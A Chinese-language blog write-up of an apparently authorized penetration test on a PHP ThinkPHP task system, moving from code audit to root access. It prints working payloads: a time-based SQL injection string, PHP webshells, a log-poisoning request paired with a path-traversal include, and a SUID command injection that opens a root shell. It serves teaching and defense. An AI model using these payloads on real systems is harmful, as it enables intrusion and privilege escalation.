1. 项目概述:一次从源码开始的真实渗透测试复盘
最近在整理自己的学习笔记,翻到了一个挺有意思的案例,是一次针对一个拥有部分源码的Web应用的渗透测试。这和我们平时打靶场或者做黑盒测试不太一样,手里有源码,就像拿到了一张不完整的地图,考验的不仅仅是漏洞利用的技巧,更是代码审计、逻辑梳理和攻击路径构建的综合能力。很多刚入门的朋友可能会觉得,有源码了那还不简单?直接看代码找漏洞就行了。但实际情况是,源码往往庞大、逻辑复杂,甚至可能只是部分代码,如何快速定位到关键的风险点,并将其串联成一条有效的攻击链,这才是真正的挑战。这次复盘,我就把整个过程拆解开来,从信息收集、源码分析、漏洞挖掘到最后的权限提升,一步步分享我的思路和踩过的坑,希望能给正在自学网络安全、尤其是对代码审计和渗透测试结合感兴趣的朋友一些实实在在的参考。
2. 核心思路与前期准备
2.1 目标分析与环境搭建
这次的目标是一个企业内部使用的任务管理系统,开发语言是PHP,数据库是MySQL。客户在进行内部安全评估时,提供了该系统的前端代码和部分核心业务逻辑的后端代码,但数据库连接配置、一些工具类库以及部署的服务器环境细节是缺失的。这种“半白盒”测试场景在实际工作中非常常见,比如对自研系统进行审计,或者接手遗留系统的安全评估。
我的第一件事不是急着去翻代码,而是先尝试在本地复现这个环境。为什么?因为动态调试和静态分析结合,效率最高。我根据代码结构(使用了ThinkPHP 5.0框架),快速在本地用Docker搭建了一个LNMP(Linux, Nginx, MySQL, PHP)环境。这里有个关键点:PHP版本、扩展模块(如gd、mysqli)尽量与客户描述的线上环境保持一致。不一致可能导致某些漏洞无法复现(比如PHP版本差异导致的函数行为变化)或误报。我用的是docker-compose,配置文件里明确定义了版本号,这样环境是可重现的。
注意:搭建测试环境时,务必使用虚拟网络或本地环回地址(127.0.0.1),绝对不要将测试环境暴露在公网,即使它看起来很“安全”。我曾见过有人把包含漏洞的测试靶机放在云服务器上“练手”,结果几分钟就被自动化脚本攻陷并当成跳板。
2.2 信息收集与源码初窥
有了环境,接下来是信息收集。即使有源码,传统的黑盒信息收集步骤也不能省,因为它能帮你理解应用的“运行时状态”。我用nikto和gobuster对本地运行起来的应用进行了简单的目录扫描,发现了/upload/、/admin/、/api/等目录,以及一个robots.txt文件,里面提示禁止访问/backup/和/sql/。这立刻引起了我的警觉——这些目录在源码里可能没有直接引用,但存在于服务器上。
然后,我开始阅读源码。我的习惯是先看入口文件(通常是index.php)和框架的配置文件(config目录),快速了解项目的整体架构、路由规则、过滤规则和数据库配置模式。在这个ThinkPHP项目里,我重点关注了application/config.php中的默认过滤函数设置。发现它全局使用了htmlspecialchars来处理GET、POST和COOKIE数据,这能有效防御XSS,但对SQL注入的防护需要看具体的查询方式。
3. 静态代码审计与漏洞挖掘
3.1 审计切入点与危险函数追踪
静态审计的核心是寻找“源点”(用户可控输入)和“危险函数”(敏感操作)之间的数据流,并检查中间是否有有效的过滤。我通常使用grep命令配合正则表达式进行初步筛查。
寻找SQL注入:我搜索了所有直接拼接SQL语句的地方。
grep -r “Db::query\|Db::execute\|->query\|->execute” . --include="*.php" grep -r “\$.*\..*sql” . --include="*.php” # 查找字符串拼接很快,在
application/common/model/TaskModel.php中找到一个高危点:public function searchTask($keyword) { $sql = "SELECT * FROM task WHERE title LIKE '%" . $keyword . "%' OR description LIKE '%" . $keyword . "%'"; return Db::query($sql); }这里的
$keyword直接拼接进了SQL语句,且没有经过任何过滤。虽然全局输入有htmlspecialchars,但那个函数是为了防XSS,对SQL注入无效(它不会转义单引号)。这就是一个典型的二次解码或过滤绕过场景,全局过滤给了开发者“安全感”,但局部的不安全用法导致了漏洞。寻找文件上传与包含:搜索
move_uploaded_file、file_put_contents、include、require等函数。grep -r “move_uploaded_file\|file_put_contents” . --include="*.php” grep -r “include\|require” . --include="*.php” | grep -v “.tpl\|.html” # 排除模板文件在
application/admin/controller/Upload.php中发现了上传逻辑。代码检查了文件后缀(白名单:jpg, png, gif)和MIME类型,看似严格。但我注意到它使用$_FILES[‘file’][‘type’]作为MIME判断依据之一,这个值是由浏览器提供的,可以被篡改。不过,后续有getimagesize()函数进行二次验证,这个绕过难度较高。寻找命令执行与反序列化:搜索
exec、system、shell_exec、unserialize等。 这次没有发现明显的命令执行点。但在一段日志处理代码中发现了unserialize,其参数来自数据库中的一个配置字段。这需要跟踪这个配置字段是否可由用户控制(比如管理员后台设置),这是一个潜在的反序列化漏洞点,我将其标记为待深入跟踪。
3.2 逻辑漏洞挖掘
逻辑漏洞往往隐藏在业务流中,需要仔细梳理代码逻辑。我重点关注了权限控制、状态转换和业务流程。
越权漏洞:查看用户权限校验函数。发现有一个
checkAuth()函数,但在application/user/controller/OrderController.php的cancelOrder方法中,虽然开头调用了checkAuth(),但校验的是当前登录用户是否有“用户”角色,却没有在后续数据库操作中校验order_id是否属于当前用户。攻击者可以修改请求中的order_id参数,取消他人的订单。这是一个典型的水平越权。public function cancelOrder($order_id) { $this->checkAuth('user'); // 只检查了角色,没检查订单归属 $order = Db::name('order')->where('id', $order_id)->find(); if($order) { Db::name('order')->where('id', $order_id)->update(['status' => 'cancelled']); } }密码重置逻辑缺陷:在密码重置功能中,发现重置令牌
token的生成只与用户ID和当前时间戳的简单MD5哈希有关,且未在服务端存储和验证时效。更糟糕的是,用户ID是顺序递增的整数,可被枚举。攻击者可以轻易构造出任意用户的密码重置链接。
3.3 利用源码辅助动态测试
静态分析找到了可疑点,接下来就需要动态验证。这时,源码成了我的“导航图”。
验证SQL注入:我直接构造请求测试
searchTask功能。用Burp Suite拦截搜索请求,将keyword参数改为' and sleep(5)-- -。页面响应果然延迟了5秒,证实存在基于时间的盲注。接着,我用sqlmap进行自动化验证和利用,直接指定--risk=3 --level=5,并利用--tamper参数绕过可能的WAF(虽然这里是内网测试,但养成习惯)。sqlmap成功列出了数据库名、表结构。实操心得:在拥有源码的情况下,使用
sqlmap的--prefix和--suffix参数可以极大提高效率。因为从源码里你已经知道了SQL语句的大致结构(比如LIKE '%[INPUT]%'),你可以直接告诉sqlmap注入点的上下文,让它更精准地构造Payload。验证越权漏洞:登录两个测试账号A和B。用A账号获取自己的一个订单ID,然后用B账号的会话,修改
cancelOrder接口的order_id参数为A的订单ID,发送请求。返回成功,并且查询数据库确认A的订单状态被B修改了。漏洞复现成功。
4. 漏洞利用与权限提升路径构建
4.1 从注入到Getshell的曲折过程
确认SQL注入后,我首先尝试用sqlmap的--os-shell参数获取一个交互式shell,但失败了,原因是数据库用户权限较低,且secure_file_priv被设置,无法写入文件。这时,源码审计的优势又体现出来了。我回过头去仔细看文件上传的代码。
虽然上传点有getimagesize()验证,但我发现它验证通过后,保存的文件名是md5(时间戳+文件名) + 原后缀。关键在于“原后缀”。如果我能上传一个内容合法(包含GIF头GIF89a)但后缀为.php的文件呢?我构造了一个包含PHP代码的图片马:
GIF89a <?php @eval($_POST['cmd']);?>用Burp修改上传请求,将文件名改为shell.gif.php,MIME类型改为image/gif。上传失败,因为白名单验证后缀.php不在允许范围内。此路不通。
但我注意到,在另一个不起眼的“导入任务”功能(application/admin/controller/TaskImport.php)中,存在一个文件包含漏洞。它允许管理员上传一个CSV文件,然后后端会“包含”(include)一个固定的模板文件来渲染导入页面。然而,其中的lang参数可控:
$lang = $_GET['lang'] ?: 'zh_cn'; include(APP_PATH . 'admin/lang/' . $lang . '.php');这里没有对$lang进行任何路径穿越过滤。虽然不能直接上传.php文件,但我可以利用之前的任意文件读取漏洞(通过SQL注入的LOAD_FILE函数或后续发现的目录遍历),去读取服务器上的敏感文件,比如/etc/passwd,或者更重要的,寻找已有的Webshell或日志文件。
4.2 组合利用:构建攻击链
单一的漏洞可能无法直接达到目的,但组合起来就能形成强大的攻击链。我构思的路径如下:
- 信息深化:利用SQL注入,不仅拖取数据,还尝试用
SELECT @@version, @@secure_file_priv获取服务器信息。得知secure_file_priv为空,这是一个好消息。 - 写入WebShell:既然可以写文件,我就可以通过SQL注入的
INTO OUTFILE语句,直接写入一个PHP Webshell到Web目录。但需要知道Web绝对路径。通过读取/etc/nginx/sites-enabled/default或应用自身的错误日志,我找到了路径/var/www/html。
由于数据库用户权限问题,这一步执行失败,提示权限不足。看来DBA权限管理做得不错。SELECT '<?php system($_GET["c"]);?>' INTO OUTFILE '/var/www/html/shell.php' - 转向逻辑漏洞提权:我回到水平越权漏洞。我发现被越权修改的
order表中,有一个attachments字段,存储的是附件的相对路径。如果我能通过越权修改这个路径,将其指向一个已存在的、可控的恶意文件呢?结合文件上传功能,虽然不能传.php,但我可以传一个.htaccess文件(如果服务器是Apache)来配置将特定后缀(如.test)解析为PHP。或者,在上传的图片马中插入恶意代码,然后通过文件包含漏洞去包含这个图片文件。这就是经典的“图片马+本地文件包含(LFI)”组合。 - 利用文件包含:我最终选择了更直接的路径。通过管理员后台(我通过弱口令测试进入了后台,这是另一个故事)的文件包含漏洞,
lang参数存在目录遍历。我尝试../../../../../../var/log/nginx/access.log,成功读取了Nginx访问日志。访问日志中记录了用户的请求行和User-Agent。我可以通过精心构造一个请求,将PHP代码注入到User-Agent中,然后通过文件包含漏洞去包含这个日志文件,从而执行代码。- 步骤一:发送一个特殊的HTTP请求。
GET /admin/task/import HTTP/1.1 Host: target.local User-Agent: <?php system('id'); ?> - 步骤二:利用文件包含漏洞,包含日志文件。
GET /admin/task/import?lang=../../../../../../var/log/nginx/access.log HTTP/1.1 Host: target.local
uid=33(www-data) gid=33(www-data) groups=33(www-data)的输出,代码执行成功! - 步骤一:发送一个特殊的HTTP请求。
4.3 权限提升与内网渗透
拿到www-data权限的shell后,我首先进行基本的Linux信息枚举:uname -a查看内核版本,cat /etc/passwd查看用户,sudo -l查看当前用户能以root身份运行哪些命令。很遗憾,www-data没有sudo权限。
我上传了linpeas.sh自动化提权脚本进行扫描。发现了一个陈旧的、具有SUID位的二进制文件/usr/local/bin/backup_tool,属于root。用strings命令查看,发现它内部调用了tar命令,且路径没有写死:
system("tar -czf /backups/backup.tar.gz " . $user_input);这里存在命令注入。因为SUID位,这个程序运行时具有root权限。我构造了如下利用:
/usr/local/bin/backup_tool “/var/www/html; /bin/bash -p”成功获得了一个root权限的bash shell。至此,从外部Web漏洞到获取服务器最高权限的完整路径打通。
5. 经验总结与避坑指南
5.1 源码审计中的关键技巧
- 由粗到细,先抓主干:不要一开始就扎进某个文件。先看目录结构、配置文件、路由定义、公共函数和类。理解数据流从哪里进来(控制器),经过哪些处理(模型、服务层),最后到哪里去(视图、数据库)。画一张简单的数据流图非常有帮助。
- 善用工具,但不依赖工具:像
grep、ripgrep、semgrep(针对特定漏洞模式)这样的工具能快速定位危险函数。IDE的全局搜索、调用链分析功能也很强大。但工具会有误报和漏报,最终必须人工确认漏洞的触发条件和可利用性。 - 关注“不受信任”的数据流:追踪所有来自用户输入(
$_GET,$_POST,$_COOKIE,$_FILES,$_SERVER部分头部)、外部API响应、数据库读取(!)、文件读取的数据。特别是从数据库读出后又未经校验直接使用的数据,容易被忽视,是二次注入或反序列化的源头。 - 理解业务逻辑:这是发现逻辑漏洞的根本。把自己当成产品经理和用户,走一遍核心业务流程(注册、登录、支付、审核、权限变更),思考每个环节如果出现异常输入或非预期操作,会发生什么。
5.2 渗透测试中的常见问题与排查
| 问题现象 | 可能原因 | 排查思路 |
|---|---|---|
sqlmap检测不出注入 | 1. 参数被框架全局过滤或转义。 2. 存在WAF/IPS拦截。 3. 注入点位于非标准位置(如JSON、XML、Header)。 4. 基于时间的盲注,网络延迟导致误判。 | 1. 查看源码,确认输入处理流程。 2. 使用 --tamper脚本尝试绕过,或降低--level。3. 使用 --data、--headers、--param-del指定数据格式。4. 增加 --time-sec,使用--second-order测试二阶注入。 |
| 文件上传失败,无明确错误 | 1. 前端JS验证拦截。 2. 后端白名单后缀检查。 3. 内容类型(MIME)检查。 4. 文件头/幻数检查。 5. 文件大小限制。 | 1. 禁用JS或直接Burp重放请求。 2. 尝试大小写、双写、点号截断等绕过。 3. 抓包修改 Content-Type。4. 在真实文件内容前添加合法的文件头(如GIF89a)。 5. 检查请求和响应,看是否有 max_file_size相关提示。 |
| 命令/代码执行无回显 | 1. 代码执行但输出被重定向或丢弃。 2. 存在防火墙出站限制。 3. Payload被过滤或转义。 | 1. 尝试使用延时(sleep)、DNS外带(nslookup)、HTTP外带(curl/wget)等无回显技术。 2. 使用 bash -c {cmd,}或反引号等不同方式执行命令。3. 分块测试,确定被过滤的字符,尝试编码绕过。 |
| 越权测试时,服务端返回状态码相同但内容不同 | 1. 前端根据权限动态隐藏元素,但后端数据已返回。 2. 后端进行了权限校验,但错误信息不够明确。 | 1. 仔细对比不同权限账户请求的完整响应体,而不仅仅是HTTP状态码。 2. 查看返回的JSON数据或HTML源码中是否包含了本不该看到的数据ID、名称等。 |
5.3 给自学者的几点忠告
- 从“练”开始,而不是从“看”开始:看了100个漏洞原理,不如亲手复现1个。搭建自己的实验环境(推荐用VirtualBox或Docker),从OWASP Top 10的漏洞靶场(如DVWA、WebGoat、bWAPP)开始,逐个攻破。有源码的靶场(如Pikachu)对理解漏洞成因尤其有帮助。
- 建立知识体系,而非收集工具:工具是武器,但内力是心法。理解HTTP协议、TCP/IP、数据库原理、操作系统基础、一门脚本语言(Python/Bash),比熟练使用10个黑客工具更重要。工具更新换代快,但原理经久不衰。
- 法律与道德是红线:所有学习和技术研究,必须在合法、授权的环境中进行。未经授权的渗透测试是违法行为。可以购买专门的靶机平台(如HackTheBox, TryHackMe),或者在自己的虚拟机里搭建靶场。
- 保持好奇与耐心:渗透测试就像解谜,很多时候你会卡在一个地方几个小时甚至几天。学会拆解问题,利用搜索引擎(Google、GitHub、StackOverflow)、阅读官方文档和漏洞报告(CVE Details、Exploit-DB)。加入一些高质量的技术社区,但提问前先尽力自己寻找答案。
- 重视防御视角:真正理解漏洞,最好的方法之一就是尝试去修复它。当你挖到一个漏洞时,多想想“如果我是开发者,我该如何避免这个问题?” 这种思维转换能让你对安全有更立体、更深刻的认识。
这次有源码的渗透测试,让我深刻体会到,代码审计和渗透测试是相辅相成的。源码提供了“为什么”和“在哪里”的线索,而动态测试则验证了“是否可行”和“如何利用”。对于自学者而言,从简单的、有源码的漏洞靶场入手,逐步过渡到分析开源项目或CTF题目,是提升代码安全审计能力的一条扎实路径。记住,每一个漏洞背后,都是一个或多个逻辑缺陷的集合,耐心和细致永远是安全研究员最重要的品质。